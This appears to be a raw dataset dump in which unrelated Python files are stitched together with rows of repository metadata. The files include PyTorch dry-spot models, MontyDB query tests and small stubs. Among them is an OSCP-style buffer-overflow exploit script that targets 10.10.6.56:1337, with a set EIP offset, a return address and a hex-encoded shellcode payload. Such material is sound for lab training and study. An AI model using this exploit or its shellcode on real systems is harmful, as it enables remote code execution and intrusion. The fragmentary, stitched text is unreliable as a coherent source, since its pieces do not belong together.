self.ct3 = ConvTranspose2d(64, 32, 15, stride=2, padding=0)
self.ct4 = ConvTranspose2d(32, 8, 17, stride=2, padding=0)
self.shaper0 = Conv2d(8, 16, 17, stride=2, padding=0)
self.shaper = Conv2d(16, 32, 15, stride=2, padding=0)
self.med = Conv2d(32, 32, 7, padding=0)
self.details = Conv2d(32, 32, 3)
###
self.details2 = Conv2d(32, 64, 13, padding=0)
self.details3 = Conv2d(64, 128, 7, padding=0)
self.details4 = Conv2d(128, 256, 5, padding=0)
self.details5 = Conv2d(256, 512, 3, padding=0)
self.maxpool = nn.MaxPool2d(2, 2)
self.linear2 = Linear(7680, 1024)
self.linear3 = Linear(1024, 1)
self.bn32 = nn.BatchNorm2d(32)
self.bn512 = nn.BatchNorm2d(512)
self.dropout = nn.Dropout(0.5)
if pretrained == "deconv_weights":
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={"ct1", "ct2", "ct3", "ct4",
"shaper0", "shaper", "med", "details"})
self.load_state_dict(weights, strict=False)
elif pretrained == "all_weights":
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={"ct1", "ct2", "ct3", "ct4",
"shaper0", "shaper", "med", "details",
"details2", "details3", "details4", "details5",
"linear2", "linear3",
"bn32", "bn512"})
self.load_state_dict(weights, strict=False)
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
fr = inputs.reshape((-1, 1, 38, 30))
k = F.relu(self.ct1(fr))
k2 = F.relu(self.ct2(k))
k3 = F.relu(self.ct3(k2))
k3 = F.relu(self.ct4(k3))
t1 = F.relu(self.shaper0(k3))
t1 = F.relu(self.shaper(t1))
t2 = F.relu(self.med(t1))
t3 = F.relu(self.details(t2))
# Shape: [1, 32, 151, 119]
x = self.bn32(t3)
x = F.relu(self.maxpool(self.details2(x)))
x = F.relu(self.maxpool(self.details3(x)))
x = F.relu(self.maxpool(self.details4(x)))
x = F.relu(self.maxpool(self.details5(x)))
x = self.bn512(x)
x = x.view((x.shape[0], 7680, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.linear2(x))
x = self.dropout(x)
x = torch.sigmoid(self.linear3(x))
return x
class SensorDeconvToDryspotEfficient2(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0):
super(SensorDeconvToDryspotEfficient2, self).__init__()
self.ct1 = ConvTranspose2d(1, 128, 3, stride=2, padding=0)
self.ct2 = ConvTranspose2d(128, 64, 7, stride=2, padding=0)
self.ct3 = ConvTranspose2d(64, 32, 15, stride=2, padding=0)
self.ct4 = ConvTranspose2d(32, 8, 17, stride=2, padding=0)
self.shaper0 = Conv2d(8, 16, 17, stride=2, padding=0)
self.shaper = Conv2d(16, 32, 15, stride=2, padding=0)
self.med = Conv2d(32, 32, 7, padding=0)
self.details = Conv2d(32, 32, 3)
###
self.details2 = Conv2d(32, 64, 13, padding=0)
self.details3 = Conv2d(64, 128, 7, padding=0)
self.details4 = Conv2d(128, 256, 5, padding=0)
self.details5 = Conv2d(256, 512, 3, padding=0)
self.details6 = Conv2d(512, 512, 3, padding=0)
self.maxpool = nn.MaxPool2d(2, 2)
self.linear2 = Linear(1536, 1024)
self.linear3 = Linear(1024, 1)
self.bn32 = nn.BatchNorm2d(32)
self.bn512 = nn.BatchNorm2d(512)
self.dropout = nn.Dropout(0.3)
if pretrained == "deconv_weights":
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={"ct1", "ct2", "ct3", "ct4",
"shaper0", "shaper", "med", "details"})
self.load_state_dict(weights, strict=False)
elif pretrained == "all_weights":
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={"ct1", "ct2", "ct3", "ct4",
"shaper0", "shaper", "med", "details",
"details2", "details3", "details4",
"details5", "details6",
"linear2", "linear3",
"bn32", "bn512"})
self.load_state_dict(weights, strict=False)
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
fr = inputs.reshape((-1, 1, 38, 30))
k = F.relu(self.ct1(fr))
k2 = F.relu(self.ct2(k))
k3 = F.relu(self.ct3(k2))
k3 = F.relu(self.ct4(k3))
t1 = F.relu(self.shaper0(k3))
t1 = F.relu(self.shaper(t1))
t2 = F.relu(self.med(t1))
t3 = F.relu(self.details(t2))
# Shape: [1, 32, 151, 119]
x = self.bn32(t3)
x = F.relu(self.maxpool(self.details2(x)))
x = F.relu(self.maxpool(self.details3(x)))
x = F.relu(self.maxpool(self.details4(x)))
x = F.relu(self.maxpool(self.details5(x)))
x = F.relu(self.details6(x))
x = self.bn512(x)
x = x.view((x.shape[0], 1536, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.linear2(x))
x = self.dropout(x)
x = torch.sigmoid(self.linear3(x))
return x
class S20Channel4toDrySpot(nn.Module):
def __init__(self):
super(S20Channel4toDrySpot, self).__init__()
self.c1 = Conv2d(4, 16, 3, stride=1)
self.c2 = Conv2d(16, 64, 1, stride=1)
self.c3 = Conv2d(64, 256, 1, stride=1)
self.c4 = Conv2d(256, 512, 1, stride=1)
self.c5 = Conv2d(512, 1024, 1, stride=1)
self.c6 = Conv2d(1024, 2048, 1, stride=1)
self.fc1 = nn.Linear(2048, 512)
self.fc2 = nn.Linear(512, 1)
def forward(self, _inputs):
_inputs = _inputs.contiguous()
x = _inputs.permute(0, 2, 1).reshape((-1, 4, 5, 4))
x = x.contiguous()
x = F.relu(self.c1(x))
x = F.relu(self.c2(x))
x = F.relu(self.c3(x))
x = F.relu(self.c4(x))
x = F.relu(self.c5(x))
x = F.relu(self.c6(x)).contiguous()
x = x.view((x.shape[0], 2048, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.fc1(x))
x = torch.sigmoid(self.fc2(x))
return x
if __name__ == "__main__":
model = S80Deconv2ToDrySpotEff(freeze_nlayers=9)
print('param count:', count_parameters(model))
m = model.cuda()
em = torch.randn((1, 80)).cuda()
out = m(em)
print('end', out.shape)
# # torch.tensor(np.arange(1., 1141.)).reshape((38, 30))[1::8, 1::8]
# # Look up in PAM RTM or plot
# # for 1::8, 1::8
# # tensor([[ 32., 40., 48., 56.],
# # [ 272., 280., 288., 296.],
# # [ 512., 520., 528., 536.],
# # [ 752., 760., 768., 776.],
# # [ 992., 1000., 1008., 1016.]], dtype=torch.float64)
# out = m(em)
#
# print(out.shape)
| 36.208556 | 110 | 0.525801 | 4,489 | 33,855 | 3.868345 | 0.062597 | 0.041463 | 0.073078 | 0.049525 | 0.819752 | 0.789462 | 0.764526 | 0.748056 | 0.719551 | 0.69905 | 0 | 0.092388 | 0.326362 | 33,855 | 934 | 111 | 36.247323 | 0.669034 | 0.02106 | 0 | 0.696888 | 0 | 0 | 0.040432 | 0.0055 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041949 | false | 0 | 0.012179 | 0 | 0.105548 | 0.002706 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7d363eadee1c9b82bc4e3d13f8618eb08144bd21 | 60 | py | Python | config/wtfrestful_c/client/hello/__init__.py | happyfaults/pywtfrestful | 3b22a9ed111d88bf1eab533fc2758283943443e0 | [
"MIT"
] | null | null | null | config/wtfrestful_c/client/hello/__init__.py | happyfaults/pywtfrestful | 3b22a9ed111d88bf1eab533fc2758283943443e0 | [
"MIT"
] | null | null | null | config/wtfrestful_c/client/hello/__init__.py | happyfaults/pywtfrestful | 3b22a9ed111d88bf1eab533fc2758283943443e0 | [
"MIT"
] | null | null | null | from .. import Interactor
class World(Interactor):
pass | 15 | 25 | 0.733333 | 7 | 60 | 6.285714 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.183333 | 60 | 4 | 26 | 15 | 0.897959 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
addf1c2fdfbfce88d9ba1757119056c12b675f0a | 29 | py | Python | demo/foo/print_me.py | MaxChangInnodisk/py2so | 367da6a0a371da71489e24c055aedf869cbdec6a | [
"MIT"
] | null | null | null | demo/foo/print_me.py | MaxChangInnodisk/py2so | 367da6a0a371da71489e24c055aedf869cbdec6a | [
"MIT"
] | 1 | 2022-03-08T09:43:52.000Z | 2022-03-08T09:43:52.000Z | demo/foo/print_me.py | MaxChangInnodisk/py2so | 367da6a0a371da71489e24c055aedf869cbdec6a | [
"MIT"
] | 1 | 2022-03-08T09:29:44.000Z | 2022-03-08T09:29:44.000Z | def do():
print(__file__) | 14.5 | 19 | 0.62069 | 4 | 29 | 3.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206897 | 29 | 2 | 19 | 14.5 | 0.608696 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
bc0447eddd51b7204c9d247bc38f2f72fb2fe36f | 1,608 | py | Python | tests/test_engine/test_queries/test_queryop_logical_nor.py | bobuk/montydb | 9ee299e7f1d3a7236abb683e0dfe4f7817859b2c | [
"BSD-3-Clause"
] | 478 | 2019-07-31T00:48:11.000Z | 2022-03-18T09:12:29.000Z | tests/test_engine/test_queries/test_queryop_logical_nor.py | bobuk/montydb | 9ee299e7f1d3a7236abb683e0dfe4f7817859b2c | [
"BSD-3-Clause"
] | 47 | 2019-07-28T10:12:22.000Z | 2022-01-04T16:25:12.000Z | tests/test_engine/test_queries/test_queryop_logical_nor.py | bobuk/montydb | 9ee299e7f1d3a7236abb683e0dfe4f7817859b2c | [
"BSD-3-Clause"
] | 26 | 2019-08-09T14:28:29.000Z | 2022-02-22T02:49:51.000Z |
def count_documents(cursor, spec=None):
return cursor.collection.count_documents(spec or {})
def test_qop_nor_1(monty_find, mongo_find):
docs = [
{"a": 4, "b": 6}
]
spec = {"$nor": [{"a": {"$gt": 6}}, {"b": {"$lt": 5}}]}
monty_c = monty_find(docs, spec)
mongo_c = mongo_find(docs, spec)
assert count_documents(mongo_c, spec) == 1
assert count_documents(monty_c, spec) == count_documents(mongo_c, spec)
def test_qop_nor_2(monty_find, mongo_find):
docs = [
{"a": [0, 1], "b": True},
{"a": [0, 1], "b": False}
]
spec = {"$nor": [{"a.2": {"$exists": 1}}, {"b": False}]}
monty_c = monty_find(docs, spec)
mongo_c = mongo_find(docs, spec)
assert count_documents(mongo_c, spec) == 1
assert count_documents(monty_c, spec) == count_documents(mongo_c, spec)
assert next(monty_c) == next(mongo_c)
mongo_c.rewind()
assert next(mongo_c)["_id"] == 0
def test_qop_nor_3(monty_find, mongo_find):
docs = [
{"a": [0, 1]}
]
spec = {"$nor": [{"a.2": {"$exists": 1}}, {"b": False}]}
monty_c = monty_find(docs, spec)
mongo_c = mongo_find(docs, spec)
assert count_documents(mongo_c, spec) == 1
assert count_documents(monty_c, spec) == count_documents(mongo_c, spec)
def test_qop_nor_4(monty_find, mongo_find):
docs = [
{"a": [0, 1]}
]
spec = {"$nor": [{"a.b": 1}]}
monty_c = monty_find(docs, spec)
mongo_c = mongo_find(docs, spec)
assert count_documents(mongo_c, spec) == 1
assert count_documents(monty_c, spec) == count_documents(mongo_c, spec)
| 26.360656 | 75 | 0.597637 | 238 | 1,608 | 3.756303 | 0.147059 | 0.100671 | 0.116331 | 0.178971 | 0.782998 | 0.782998 | 0.757271 | 0.757271 | 0.729306 | 0.729306 | 0 | 0.020767 | 0.221393 | 1,608 | 60 | 76 | 26.8 | 0.693291 | 0 | 0 | 0.571429 | 0 | 0 | 0.03736 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 1 | 0.119048 | false | 0 | 0 | 0.02381 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
bc3adaecad2c3a3a502df36c118ed38f0827bf5e | 2,176 | py | Python | examples/oscp/overflow1.py | the-robot/buff | 5fd68935e40543f6df8f134bc48b8f428ad7af55 | [
"WTFPL"
] | 4 | 2021-12-13T00:52:10.000Z | 2022-03-06T17:11:02.000Z | examples/oscp/overflow1.py | the-robot/buff | 5fd68935e40543f6df8f134bc48b8f428ad7af55 | [
"WTFPL"
] | null | null | null | examples/oscp/overflow1.py | the-robot/buff | 5fd68935e40543f6df8f134bc48b8f428ad7af55 | [
"WTFPL"
] | null | null | null | import buff
target = ("10.10.6.56", 1337)
runner = buff.Buff(target = target, prefix = "OVERFLOW1 ")
# ----- 0. Configuration -----
# Set Buffer Size
runner.setBufferSize(2400)
# Set Eip offset
runner.setEipOffset(1978)
# ----- 1. FUZZING -----
# runner.fuzz()
# ----- 2. Send Unique Characters -----
# runner.sendPattern()
# ----- 3. Send Bad Characters -----
# runner.sendBadChars()
# ----- 4. Reapl Exploit ------
eip_address = "\xaf\x11\x50\x62"
runner.setEipAddress(eip_address)
exploit = (
"\xdb\xde\xd9\x74\x24\xf4\x5e\xb8\x4e\xd4\x38\xef\x33\xc9\xb1"
"\x52\x31\x46\x17\x03\x46\x17\x83\x88\xd0\xda\x1a\xe8\x31\x98"
"\xe5\x10\xc2\xfd\x6c\xf5\xf3\x3d\x0a\x7e\xa3\x8d\x58\xd2\x48"
"\x65\x0c\xc6\xdb\x0b\x99\xe9\x6c\xa1\xff\xc4\x6d\x9a\x3c\x47"
"\xee\xe1\x10\xa7\xcf\x29\x65\xa6\x08\x57\x84\xfa\xc1\x13\x3b"
"\xea\x66\x69\x80\x81\x35\x7f\x80\x76\x8d\x7e\xa1\x29\x85\xd8"
"\x61\xc8\x4a\x51\x28\xd2\x8f\x5c\xe2\x69\x7b\x2a\xf5\xbb\xb5"
"\xd3\x5a\x82\x79\x26\xa2\xc3\xbe\xd9\xd1\x3d\xbd\x64\xe2\xfa"
"\xbf\xb2\x67\x18\x67\x30\xdf\xc4\x99\x95\x86\x8f\x96\x52\xcc"
"\xd7\xba\x65\x01\x6c\xc6\xee\xa4\xa2\x4e\xb4\x82\x66\x0a\x6e"
"\xaa\x3f\xf6\xc1\xd3\x5f\x59\xbd\x71\x14\x74\xaa\x0b\x77\x11"
"\x1f\x26\x87\xe1\x37\x31\xf4\xd3\x98\xe9\x92\x5f\x50\x34\x65"
"\x9f\x4b\x80\xf9\x5e\x74\xf1\xd0\xa4\x20\xa1\x4a\x0c\x49\x2a"
"\x8a\xb1\x9c\xfd\xda\x1d\x4f\xbe\x8a\xdd\x3f\x56\xc0\xd1\x60"
"\x46\xeb\x3b\x09\xed\x16\xac\x3c\xfb\x1a\xff\x29\xf9\x1a\xfe"
"\x12\x74\xfc\x6a\x75\xd1\x57\x03\xec\x78\x23\xb2\xf1\x56\x4e"
"\xf4\x7a\x55\xaf\xbb\x8a\x10\xa3\x2c\x7b\x6f\x99\xfb\x84\x45"
"\xb5\x60\x16\x02\x45\xee\x0b\x9d\x12\xa7\xfa\xd4\xf6\x55\xa4"
"\x4e\xe4\xa7\x30\xa8\xac\x73\x81\x37\x2d\xf1\xbd\x13\x3d\xcf"
"\x3e\x18\x69\x9f\x68\xf6\xc7\x59\xc3\xb8\xb1\x33\xb8\x12\x55"
"\xc5\xf2\xa4\x23\xca\xde\x52\xcb\x7b\xb7\x22\xf4\xb4\x5f\xa3"
"\x8d\xa8\xff\x4c\x44\x69\x1f\xaf\x4c\x84\x88\x76\x05\x25\xd5"
"\x88\xf0\x6a\xe0\x0a\xf0\x12\x17\x12\x71\x16\x53\x94\x6a\x6a"
"\xcc\x71\x8c\xd9\xed\x53"
)
runner.setExploit(exploit)
# set padding
runner.setPaddingSize(16)
# runner.sendExploit()
| 34 | 66 | 0.662684 | 420 | 2,176 | 3.428571 | 0.557143 | 0.013889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.238289 | 0.097426 | 2,176 | 63 | 67 | 34.539683 | 0.494908 | 0.126379 | 0 | 0 | 0 | 0.657143 | 0.762712 | 0.743644 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.028571 | 0 | 0.028571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
70b6971fa3f6e765b3f6e03b8b4c25c27db7be41 | 26 | py | Python | exercises/nth-prime/nth_prime.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | 1 | 2021-05-15T19:59:04.000Z | 2021-05-15T19:59:04.000Z | exercises/nth-prime/nth_prime.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | null | null | null | exercises/nth-prime/nth_prime.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | 2 | 2018-03-03T08:32:12.000Z | 2019-08-22T11:55:53.000Z | def nth_prime():
pass
| 8.666667 | 16 | 0.615385 | 4 | 26 | 3.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.269231 | 26 | 2 | 17 | 13 | 0.789474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
cb990c53968fbcc3e8b899013531e154e3f2cfcb | 48 | py | Python | pm4pyws/handlers/xes/ctmc/__init__.py | ehbasouri/pm4py-ws | 9bf5f88848a4aa2873bae86af95d37f64ae1dde1 | [
"Apache-2.0"
] | null | null | null | pm4pyws/handlers/xes/ctmc/__init__.py | ehbasouri/pm4py-ws | 9bf5f88848a4aa2873bae86af95d37f64ae1dde1 | [
"Apache-2.0"
] | null | null | null | pm4pyws/handlers/xes/ctmc/__init__.py | ehbasouri/pm4py-ws | 9bf5f88848a4aa2873bae86af95d37f64ae1dde1 | [
"Apache-2.0"
] | null | null | null | from pm4pyws.handlers.xes.ctmc import transient
| 24 | 47 | 0.854167 | 7 | 48 | 5.857143 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022727 | 0.083333 | 48 | 1 | 48 | 48 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1dbad37852c9e9bb33eca99c1dea7eff8c435846 | 24 | py | Python | python_packages/service_display/__init__.py | an-dr/zakhar_service | 43dd57e9047c9e29710b4ce474e2c92caa9518b2 | [
"MIT"
] | null | null | null | python_packages/service_display/__init__.py | an-dr/zakhar_service | 43dd57e9047c9e29710b4ce474e2c92caa9518b2 | [
"MIT"
] | 13 | 2021-01-08T14:14:34.000Z | 2021-12-11T21:01:08.000Z | python_packages/service_display/__init__.py | an-dr/zakhar_service | 43dd57e9047c9e29710b4ce474e2c92caa9518b2 | [
"MIT"
] | null | null | null | from .start import start | 24 | 24 | 0.833333 | 4 | 24 | 5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 24 | 1 | 24 | 24 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
381b3bf0c333b5ab93e655083fe6b4649ab7daad | 104 | py | Python | Draft/Rounding thing in python.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | 6 | 2020-09-03T09:32:25.000Z | 2020-12-07T04:10:01.000Z | Draft/Rounding thing in python.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | 1 | 2021-12-13T15:30:21.000Z | 2021-12-13T15:30:21.000Z | Draft/Rounding thing in python.py | mwk0408/codewars_solutions | 9b4f502b5f159e68024d494e19a96a226acad5e5 | [
"MIT"
] | null | null | null | def typing_test(seconds,sentence):
return f"{round(len(sentence.split())*60/seconds+0.0000001)} WPM" | 52 | 69 | 0.740385 | 16 | 104 | 4.75 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104167 | 0.076923 | 104 | 2 | 69 | 52 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0.52381 | 0.485714 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
69754571cb5e1dc924e000b3492fa83dee6711a2 | 17 | py | Python | samplepkg/__init__.py | schahal/sample | 61e5e76598011e64d859eaeceb9f724feb319e07 | [
"MIT"
] | null | null | null | samplepkg/__init__.py | schahal/sample | 61e5e76598011e64d859eaeceb9f724feb319e07 | [
"MIT"
] | null | null | null | samplepkg/__init__.py | schahal/sample | 61e5e76598011e64d859eaeceb9f724feb319e07 | [
"MIT"
] | null | null | null | # Copyright 2020
| 8.5 | 16 | 0.764706 | 2 | 17 | 6.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 0.176471 | 17 | 1 | 17 | 17 | 0.642857 | 0.823529 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
69927072fb32826b173e2359ec82758fdb16f56b | 28 | py | Python | monster/__init__.py | ConnorSMaynes/monster | 55182a243d68c5e2392b36fe89c90a8e7c3f7048 | [
"MIT"
] | 2 | 2019-07-19T02:28:10.000Z | 2021-01-17T11:48:30.000Z | monster/__init__.py | ConnorSMaynes/monster | 55182a243d68c5e2392b36fe89c90a8e7c3f7048 | [
"MIT"
] | null | null | null | monster/__init__.py | ConnorSMaynes/monster | 55182a243d68c5e2392b36fe89c90a8e7c3f7048 | [
"MIT"
] | 3 | 2019-07-19T02:28:13.000Z | 2021-12-09T05:50:29.000Z | from .monster import Monster | 28 | 28 | 0.857143 | 4 | 28 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 28 | 1 | 28 | 28 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
69e5bf08d240fc93c9f6f6d86a0f303c1388ca1b | 288 | py | Python | tests/fixtures/credentials.py | ExpressApp/pybotx | 97c8b1ce5d45a05567ed01d545cb43174a2dcbb9 | [
"MIT"
] | 13 | 2021-01-21T12:43:10.000Z | 2022-03-23T11:11:59.000Z | tests/fixtures/credentials.py | ExpressApp/pybotx | 97c8b1ce5d45a05567ed01d545cb43174a2dcbb9 | [
"MIT"
] | 259 | 2020-02-26T08:51:03.000Z | 2022-03-23T11:08:36.000Z | tests/fixtures/credentials.py | ExpressApp/pybotx | 97c8b1ce5d45a05567ed01d545cb43174a2dcbb9 | [
"MIT"
] | 5 | 2019-12-02T16:19:22.000Z | 2021-11-22T20:33:34.000Z | import uuid
import pytest
@pytest.fixture()
def host():
return "cts.example.com"
@pytest.fixture()
def secret_key():
return "secret-key-for-token"
@pytest.fixture()
def token():
return "generated-token-for-bot"
@pytest.fixture()
def bot_id():
return uuid.uuid4()
| 12 | 36 | 0.673611 | 39 | 288 | 4.923077 | 0.461538 | 0.270833 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004184 | 0.170139 | 288 | 23 | 37 | 12.521739 | 0.799163 | 0 | 0 | 0.285714 | 0 | 0 | 0.201389 | 0.079861 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | true | 0 | 0.142857 | 0.285714 | 0.714286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
69f6d198952edd4fa0afeaf3338821f11f04ff06 | 180 | py | Python | fuel_additive/init/pypi.py | skdong/fuel-additive | a0ce9516ee7510a1ed02264a775cb50b35b84b48 | [
"Apache-2.0"
] | null | null | null | fuel_additive/init/pypi.py | skdong/fuel-additive | a0ce9516ee7510a1ed02264a775cb50b35b84b48 | [
"Apache-2.0"
] | null | null | null | fuel_additive/init/pypi.py | skdong/fuel-additive | a0ce9516ee7510a1ed02264a775cb50b35b84b48 | [
"Apache-2.0"
] | null | null | null |
def _install_pip():
pass
def _set_pypi():
pass
def _install_python_packages():
pass
def init():
_install_pip()
_set_pypi()
_install_python_packages() | 10.588235 | 31 | 0.655556 | 22 | 180 | 4.727273 | 0.409091 | 0.201923 | 0.403846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244444 | 180 | 17 | 32 | 10.588235 | 0.764706 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | true | 0.3 | 0 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
0e1317b2ff2b3698b6069bbde8bfca36ad6cfcf2 | 2,155 | py | Python | npstreams/tests/test_parallel.py | LaurentRDC/npstreams | 730e77eed3ee594e212ccd500558558fc7f37642 | [
"BSD-3-Clause"
] | 30 | 2017-10-22T22:07:53.000Z | 2022-03-08T19:42:14.000Z | npstreams/tests/test_parallel.py | LaurentRDC/npstreams | 730e77eed3ee594e212ccd500558558fc7f37642 | [
"BSD-3-Clause"
] | null | null | null | npstreams/tests/test_parallel.py | LaurentRDC/npstreams | 730e77eed3ee594e212ccd500558558fc7f37642 | [
"BSD-3-Clause"
] | 1 | 2019-08-08T14:34:48.000Z | 2019-08-08T14:34:48.000Z | # -*- coding: utf-8 -*-
from npstreams import pmap, pmap_unordered, preduce
from functools import reduce
import numpy as np
from operator import add
def identity(obj, *args, **kwargs):
